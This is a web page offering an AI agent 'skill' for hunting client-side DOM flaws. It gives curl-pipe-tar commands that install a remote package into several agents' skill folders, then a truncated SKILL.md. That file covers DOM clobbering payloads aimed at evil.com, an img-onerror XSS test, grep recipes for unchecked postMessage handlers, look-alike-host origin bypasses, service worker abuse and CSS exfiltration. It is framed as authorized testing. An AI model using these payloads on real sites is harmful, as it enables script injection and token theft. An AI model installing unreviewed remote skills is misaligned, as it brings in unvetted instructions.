hunt-dom – Security skill for AI agents
Hunt client-side DOM vulnerabilities
Install the hunt-dom skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-dom-adb3a.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-dom – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-dom-adb3a.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-dom – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-dom-adb3a.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-dom – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-dom-adb3a.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-dom – then describe the task you want done.
SKILL.md content
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
Crown Jewel Targets
DOM-based attacks execute in the victim's browser — some sources never reach the server, while others do; assess the actual data path rather than assuming WAF/input filters are irrelevant. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
Highest-value chains:
- DOM Clobbering → DOM-XSS / auth bypass — HTML *markup* injection (no
<script>) overwrites a JS global likewindow.configor a form named property, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered. - PostMessage no origin check → session theft / DOM-XSS — a
messagehandler that trustsevent.datawithout validatingevent.originlets an attacker iframe/opener drive privileged actions or feed a sink. - Service Worker abuse — register a same-origin SW script (reachable because of an authorized same-origin JavaScript upload/path) via stored XSS → intercept all in-scope
fetch→ persistent credential capture. - CSS Exfil — attribute-value selectors (
input[value^="a"]) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
Grounding — public research this is distilled from
- DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
- DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
- jQuery
htmlPrefilterself-closing-tag XSS — CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to.html()/.append()mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots. - CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential
@importrecursion to drop the per-char-position constraint).
> Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation.
---
Attack Surface Signals
# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
# Service worker presence:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
# CSS injection points:
?theme= custom-css profile field email-template editor style= passthrough---
Phase 1 — DOM Clobbering
# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.
# Single-level clobber of window.config:
# <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
# <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
# <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
# Nested window.a.b.c via form/inputs:
# <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
# <base href="https://evil.com/"> # bends every relative src/href// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / element => already clobbered or clobberable namespace
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL TYPE]', k, typeof v);
});# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
"document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.jQuery angle: if the bundle ships jQuery < 3.5.0, attacker HTML passed to .html()/.append() self-mutates to execute (CVE-2020-11022 / CVE-2020-11023). Confirm version then test <style><style /><img src=x onerror=alert(document.domain)>.
---
Phase 2 — PostMessage Hijacking
Two bug classes: (a) listener trusts cross-origin data → drive a sink/privileged action; (b) sender broadcasts secrets with target origin '*' → any framing page reads them.
# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
| grep -vE "\.origin\b"
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null<!-- Controlled lab with a test account and approved target origin. -->
<iframe id="f" src="https://target.example/test-listener"></iframe>
<script>
const frame = document.getElementById('f');
frame.addEventListener('load', () => {
frame.contentWindow.postMessage({type: 'test-canary', value: 'DOM-REVIEW-042'},
'https://target.example');
}, {once: true});
addEventListener('message', event => {
if (event.origin !== 'https://target.example' || event.source !== frame.contentWindow) return;
console.log('Controlled message received:', typeof event.data); // No secret dump.
});
</script>This canary alone is not a finding. Trace the actual authorized handler and sink,
then use a harmless marker matched to its schema. Prove impact with controlled
accounts; never send cookies, complete DOM, bearer tokens or messages to a third
party OOB service merely to demonstrate receipt.
> False-positive guard: a handler with a *partial* check (origin.indexOf('target.com')>-1, endsWith('target.com'), regex target\.com) is still vulnerable — bypass with target.com.evil.com or eviltarget.com. Confirm by serving the PoC from such a look-alike host and showing the message still lands.
---
PostMessage initialization assumptions
Browser-dispatched postMessage has its sender origin initialized when the event
is created; it does not later become trustworthy during frame loading. An opaque
origin can serialize as "null"; never treat it as an allowed trusted origin.
Test first-message trust only with a bounded synthetic canary and explicit scope,
not a tight message flood. Validate exact origin, expected event.source and a
bounded message schema together. [HTML messaging standard](https://html.spec.whatwg.org/multipage/web-messaging.html).
Phase 3 — Service Worker Abuse
Hard rule (corrects a common mistake): a SW script URL must be same-origin as the page calling register(). A cross-origin script URL (https://evil.com/sw.js) throws SecurityError — there is **no header that enables cross-origin SW *script* registration. Service-Worker-Allowed only widens the scope** a same-origin script may control, not where the script may live.
So the realistic path is: get a SW script onto the target origin (approved file upload that directly serves Java
… (full content is in the download package)
Related skills
- hunt-fintech-graphql – Hunt fintech-specific GraphQL vulnerabilities
- hunt-graphql – Hunting skill for graphql vulnerabilities.
- hunt-grpc – Hunt gRPC vulnerabilities
- hunt-idor – Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use…
- hunt-laravel – Hunt Laravel specific vulnerabilities
- hunt-misc – Hunting skill for misc vulnerabilities. Reference for authorized role, token and…
- hunt-nextjs – Hunt Next.js specific vulnerabilities
- hunt-nodejs – Hunt Node.js specific vulnerabilities